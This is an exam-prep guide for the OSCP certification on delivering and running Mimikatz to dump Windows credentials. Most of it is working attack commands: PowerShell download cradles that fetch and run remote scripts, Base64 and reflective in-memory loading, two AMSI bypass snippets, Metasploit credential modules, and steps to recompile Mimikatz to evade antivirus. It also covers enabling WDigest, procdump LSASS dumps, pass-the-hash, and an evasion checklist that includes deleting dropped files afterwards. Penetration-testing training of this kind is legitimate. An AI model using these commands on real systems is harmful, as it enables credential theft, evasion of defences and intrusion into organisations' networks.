Domain 3Exploit Dev & AV EvasionCORE

Mimikatz Delivery Techniques

Complete guide to Mimikatz delivery techniques for OSCP, covering direct download, PowerShell Invoke-Mimikatz, Base64 encoding, Metasploit integration, custom builds, and AV evasion for credential dumping.

Domain: Domain 3: Exploit Mechanics & AV Evasion•Updated: 2026-09-01
#mimikatz#credentials#lsass#dumping#delivery

Mimikatz Delivery Techniques

What is Mimikatz?

Mimikatz is the most widely used credential dumping tool in offensive security. Originally released by Benjamin Delpy (gentilkiwi) in 2011, it extracts plaintext passwords, hashes, PIN codes, and Kerberos tickets from Windows memory (LSASS process).

Core Capabilities

Capability Description OSCP Relevance
Plaintext password extraction Reads passwords from LSASS memory (Wdigest, SSP) High - domain admin access
NTLM/LM hash extraction Extracts credential hashes for pass-the-hash High - lateral movement
Kerberos ticket extraction Dumps TGT and service tickets (APREQ) Medium - Kerberos attacks
Pass-the-Hash (PtH) Inject hashes into current session High - lateral movement
Pass-the-Ticket (PtT) Inject Kerberos tickets into session Medium - Kerberos relay
Golden/Silver Ticket Forge Kerberos tickets with KRBTGT hash Medium - persistence
SAM database dump Extracts local account hashes from SAM High - local privesc
DPAPI credential dump Extracts Chrome, Edge, RDP saved creds Medium - browser creds
Token impersonation Steal and use security tokens High - privilege escalation

Why Mimikatz is Heavily Detected

Mimikatz is one of the most signatured tools in the security industry. Understanding detection vectors is critical for OSCP:

  1. File-based signatures: AV products maintain hashes and YARA rules for known Mimikatz binaries
  2. LSASS access patterns: Opening lsass.exe with PROCESS_VM_READ is heavily monitored
  3. Well-known strings: Command strings like mimikatz, sekurlsa, kerberos trigger alerts
  4. Network indicators: Downloading from github.com/gentilkiwi/mimikatz is flagged
  5. Behavioral detection: EDR solutions monitor for credential API abuse (LSA secrets, Wdigest)
  6. PowerShell indicators: Invoke-Mimikatz.ps1 is a known malicious script

Method 1: Direct Download and Execute

The simplest approach — download and run the official binary.

# Via PowerShell
Invoke-WebRequest -Uri "https://github.com/gentilkiwi/mimikatz/releases/latest/download/mimikatz.zip" -OutFile "mimikatz.zip"
Expand-Archive "mimikatz.zip" -DestinationPath "C:\temp\"
cd C:\temp\mimikatz\x64\
.\mimikatz.exe

# Via certutil (no PowerShell execution policy issues)
certutil -urlcache -split -f "https://github.com/gentilkiwi/mimikatz/releases/latest/download/mimikatz.zip" "C:\temp\mimikatz.zip"

# Via bitsadmin (legacy, works on older systems)
bitsadmin /transfer "mimikatz" "https://github.com/gentilkiwi/mimikatz/releases/latest/download/mimikatz.zip" "C:\temp\mimikatz.zip"

Risks: Almost always detected by modern AV. The binary hash is in every signature database. When it works: Lab environments with no AV, or when the target has very outdated defenses. OSCP tip: Try this first in labs with no AV. If it gets quarantined, move to Method 2 or 3.


Method 2: Base64 Encoded Delivery

Encode the Mimikatz binary as Base64 to bypass basic file-hash detection. The binary still runs the same way, but the delivery mechanism is obfuscated.

# On your attacker machine — encode the binary
[Convert]::ToBase64String((Get-Content -Path "mimikatz.exe" -Encoding Byte)) | Out-File "mimikatz.b64"

# On the target — decode and execute
$b64 = Get-Content "mimikatz.b64"
$bytes = [Convert]::FromBase64String($b64)
Set-Content -Path "C:\temp\tool.exe" -Value $bytes -Encoding Byte
Start-Process "C:\temp\tool.exe"

# One-liner (inline, no intermediate file on disk)
$bytes = [Convert]::FromBase64String((Get-Content "mimikatz.b64")); `
    $assembly = [System.Reflection.Assembly]::Load($bytes)

Detection risk: Medium. The decoded binary on disk will still match signatures. Better combined with in-memory execution (Method 6). OSCP tip: Use this when the download URL is blocked but file upload is allowed.


Method 3: PowerShell Invoke-Mimikatz

The most common OSCP technique. Uses the PowerShell module from the PowerSploit/PowerShellMafia project.

Download Cradle + Execute

# Method A: Download and invoke in one line
IEX(New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1"); Invoke-Mimikatz -DumpCreds

# Method B: Staged approach (more reliable)
IEX(New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1")
Invoke-Mimikatz -DumpCreds

# Method C: From a local file (when internet is blocked)
Import-Module .\Invoke-Mimikatz.ps1
Invoke-Mimikatz -DumpCreds

# Method D: With specific options
Invoke-Mimikatz -Command "privilege::debug sekurlsa::logonpasswords"

Key Parameters

Parameter Description
-DumpCreds Dumps all logon passwords (default)
-Command "..." Run raw Mimikatz commands
-WdigestDowngrade Downgrade security to enable WDigest
-ComputerName "target" Remote execution via WMI

Detection risk: High. Invoke-Mimikatz.ps1 is a known malicious script. PowerShell logging (AMSI, Script Block Logging) will catch it. OSCP tip: This is your go-to method. Works in most OSCP labs. If blocked, try encoding the command: powershell -enc <base64_encoded_command>

AMSI Bypass Before Invoke-Mimikatz

# AMSI bypass (needed on Windows 10/Server 2016+)
[Ref].Assembly.GetType('System.Diagnostics.Eventing.EventProvider').GetField('eventId','NonPublic,Static').SetValue($null,0)

# Or the popular bypass
$Asm = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
$False = $Asm.GetMethods() | Where-Object { $_.Name -eq 'SetHandle' }
$False.Invoke($null, @(($Asm.GetMethods() | Where-Object { $_.Name -eq 'GetProcAddress' })[0].Invoke($null, @(($Asm.GetMethods() | Where-Object { $_.Name -eq 'GetModuleHandle' })[0].Invoke($null, @('amsi')), 'AmsiScanBuffer'))))

Method 4: Metasploit Integration

Metasploit provides Mimikatz functionality through post-exploitation modules.

# From Meterpreter session
use post/windows/gather/smart_hashdump
set SESSION 1
run

# Full Mimikatz module
use post/windows/gather/mimikatz
set SESSION 1
run

# Specific credential module
use post/windows/gather/credentials/mimikatz
set SESSION 1
run

# Kerberos ticket extraction
use post/windows/gather/credentials/mimikatz_kerberos
set SESSION 1
run

# Pass-the-Hash from Meterpreter
use post/windows/gather/credentials/mimikatz_pth
set SESSION 1
set USER "target_user"
set HASH "ntlm_hash_here"
run

Meterpreter Built-in Commands

# These work without loading any module
hashdump                    # Dumps SAM hashes (local only)
mimikatz_cmd "command"      # Run arbitrary Mimikatz command
mimikatz_command -f sam     # Dump SAM database
mimikatz_command -f sekurlsa::logonpasswords

Detection risk: Medium-High. Meterpreter beaconing and Mimikatz injection are both detectable. OSCP tip: Use hashdump first (simpler, less detection). Fall back to Mimikatz modules when you need plaintext passwords or Kerberos tickets.


Method 5: Custom Mimikatz Builds

Recompiling Mimikatz with modified strings and resources bypasses signature-based detection.

Steps to Build Custom Mimikatz

1. Install Visual Studio 2019/2022 (Community edition is free)
2. Clone the Mimikatz repository:
   git clone https://github.com/gentilkiwi/mimikatz.git
3. Open mimikatz.sln in Visual Studio
4. Modify the source to evade detection:
   - Change string literals (e.g., "mimikatz" -> "mytool")
   - Rename the executable output name
   - Change resource file properties
   - Modify command names in source code
5. Build in Release mode (x64 for 64-bit targets)
   - Right-click project -> Build
6. The new binary will have different hashes and strings

Key Files to Modify

File What to Change
mimikatz.rh Resource header — change product name, description
mimikatz.rc Resource file — change file version, company name
source\\mimikatz.h Header strings, banner text
source\\kuhl_m_sekurlsa.c Module names and output strings

Detection risk: Low for signature-based AV. Behavioral detection (LSASS access) still applies. OSCP tip: Pre-build your custom Mimikatz before the exam. Having a ready-to-use binary saves critical time.


Method 6: In-Memory Execution (Reflective Loading)

The most stealthy approach — loads Mimikatz entirely in memory without touching disk.

Using Invoke-ReflectivePEInjection

# Download both scripts
IEX(New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/CodeExecution/Invoke-ReflectivePEInjection.ps1")
IEX(New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1")

# Download Mimikatz binary to memory (not disk)
$mime = Invoke-WebRequest -Uri "https://github.com/gentilkiwi/mimikatz/releases/latest/download/mimikatz.zip" -UseBasicParsing
# Extract to memory and inject
Invoke-ReflectivePEInjection -PEUrl "https://your-server/mimikatz.exe" -ForceASR

Using DonPAPI / Rubeus Alternative

# Rubeus for Kerberos attacks (C#, .NET, often less detected)
IEX(New-Object Net.WebClient).DownloadString("https://your-server/Rubeus.exe.b64")

Detection risk: Low. No binary on disk, no file creation artifacts. Memory scanning required. OSCP tip: Best approach when AV is active. The lack of disk artifacts makes forensic detection very difficult.


Key Mimikatz Commands Reference

Command Description Typical Output
privilege::debug Elevate to debug privilege (required) Privilege ‘20’ OK
sekurlsa::logonpasswords Dump all logon session credentials Username, domain, NTLM, plaintext
sekurlsa::wdigest Extract WDigest credentials Plaintext passwords from WDigest
sekurlsa::kerberos Extract Kerberos tickets Ticket data, SPN, usernames
kerberos::list List all Kerberos tickets in cache TGT, service tickets
kerberos::golden Create a Golden Ticket Forged TGT with specified user
lsadump::sam Dump SAM database (local hashes) Username:RID:LM:NTLM
lsadump::secrets Dump LSA secrets DPAPI master keys, cached creds
token::elevate Elevate current token to SYSTEM Token switched to SYSTEM
token::list List available tokens All active security tokens
sekurlsa::pth Pass-the-Hash attack Injects hash into current session
sekurlsa::pth /user:admin /domain:corp /ntlm:hash PtH with specific creds New session with target identity
misc::memssp Register Mimikatz as SSP Logs all future auth to file
dpapi::chrome Dump Chrome saved passwords Browser credentials

Essential Command Sequence

mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords
mimikatz # kerberos::list
mimikatz # lsadump::sam

Detection Methods and Evasion Strategies

How Defenders Detect Mimikatz

Detection Method What It Catches Evasion Strategy
File hash matching Known Mimikatz binary hashes Custom build, rename binary
YARA rules String patterns in binary Recompile with modified strings
LSASS access monitoring Opening lsass.exe with read access Use alternative tools (Rubeus for Kerberos)
PowerShell AMSI Scans PowerShell scripts in memory AMSI bypass before execution
Script Block Logging Logs all PowerShell script content Use encoded commands, avoid PS
Sysmon Event 10 Process access to LSASS Custom build, in-memory execution
Network detection Downloads from known URLs Host on your own server, use Base64
EDR behavioral analysis Credential API abuse patterns Time-based evasion, alternative tools

Practical Evasion Checklist

  1. Before execution: Bypass AMSI if using PowerShell
  2. Delivery: Use your own hosting (not GitHub raw links)
  3. Binary: Use a custom-built Mimikatz with renamed strings
  4. Execution: Prefer in-memory loading over disk writes
  5. Timing: Run during off-hours to reduce alert correlation
  6. Cleanup: Delete any dropped files after credential extraction
  7. Alternative: Consider Rubeus for Kerberos-specific attacks

Alternatives to Mimikatz

When Mimikatz is detected or blocked, these tools provide similar functionality:

Rubeus

  • Focus: Kerberos attacks (Golden/Silver tickets, Kerberoasting, AS-REP roasting)
  • Language: C# / .NET
  • Detection: Lower than Mimikatz for Kerberos operations
  • OSCP use: Kerberoasting, ticket manipulation

LaZagne

  • Focus: Application credential recovery (browsers, email clients, VPNs)
  • Language: Python
  • Detection: Medium
  • OSCP use: Extracting saved browser passwords, RDP credentials

SharpChrome

  • Focus: Chrome/Edge credential extraction
  • Language: C# / .NET
  • Detection: Low (single-purpose tool)
  • OSCP use: Browser credential harvesting

Windows Credential Manager

  • Focus: Built-in Windows credential storage
  • Command: cmdkey /list (view), cmdkey /add (add)
  • Detection: None (legitimate Windows tool)
  • OSCP use: View and abuse stored Windows credentials

procdump (Sysinternals)

  • Focus: LSASS memory dump (legitimate Microsoft tool)
  • Command: procdump -ma lsass.exe lsass.dmp
  • Detection: Low (signed Microsoft binary)
  • OSCP use: Dump LSASS, then analyze offline with Mimikatz on your attacker machine

SecretsDump (Impacket)

  • Focus: Remote credential dumping via SMB/DSRPC
  • Command: secretsdump.py domain/user@target
  • Detection: Medium (SMB traffic analysis)
  • OSCP use: Remote hash dumping without local execution

Practical OSCP Tips

When Mimikatz Works

  • Local Administrator or SYSTEM access on the target
  • WDigest enabled (plaintext passwords available) — check with reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest
  • No Credential Guard — Windows 10/11 with Credential Guard blocks LSASS access
  • No LSA Protection — “Run as PPL” setting protects LSASS
  • Windows Server 2012 and earlier — Minimal protections, Mimikatz works reliably

When Mimikatz Fails

Protection Effect Workaround
Credential Guard Virtualized LSA, blocks all LSASS access No reliable bypass on OSCP
LSA Protection (Run as PPL) LSASS runs as protected process procdump may still work
WDigest disabled No plaintext passwords in memory Use NTLM hashes for PtH
Protected Users group Enforces strict auth policies Target other accounts
No admin/SYSTEM Cannot open LSASS Escalate privileges first
AV/EDR active Binary detected and quarantined Custom build, in-memory execution

Pro Tips for the Exam

  1. Always try hashdump in Meterpreter first — simpler, works for local hashes, less detection
  2. Check WDigest status before expecting plaintext passwords:
    reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential
    If value is 0 or missing, plaintext passwords won’t be available via WDigest.
  3. Enable WDigest if you have admin and need plaintext:
    reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
    Then force a re-login for the password to appear in memory.
  4. Use procdump + offline Mimikatz — dump LSASS on target with procdump (signed MS tool), transfer the dump to your Kali machine, and run Mimikatz locally. This avoids running Mimikatz on the target entirely.
  5. For domain environments, Mimikatz on a Domain Controller gives you the most value — domain admin hashes, KRBTGT hash for Golden Tickets.
  6. Remember the order: privilege::debug must run before any other command. If you forget, Mimikatz will fail silently on many operations.
  7. Pass-the-Hash is often more useful than plaintext passwords — you can pivot laterally without knowing the actual password.

Quick Reference: Credential Dumping Decision Tree

Do you have SYSTEM/Admin?
├── No → Escalate privileges first
└── Yes → Is Credential Guard active?
    ├── Yes → Try procdump, check for other credential stores
    └── No → Is AV/EDR active?
        ├── Yes → Use procdump (offline analysis) or custom Mimikatz build
        └── No → Use Invoke-Mimikatz or direct Mimikatz.exe
            ├── Need plaintext? → Check WDigest status
            ├── Need hashes? → sekurlsa::logonpasswords or hashdump
            └── Need Kerberos? → kerberos::list, Rubeus

This guide covers the core Mimikatz techniques tested on OSCP. Practice all delivery methods in your lab environment before the exam. Remember: the goal is credential extraction, not tool obsession — use whatever method works on the target.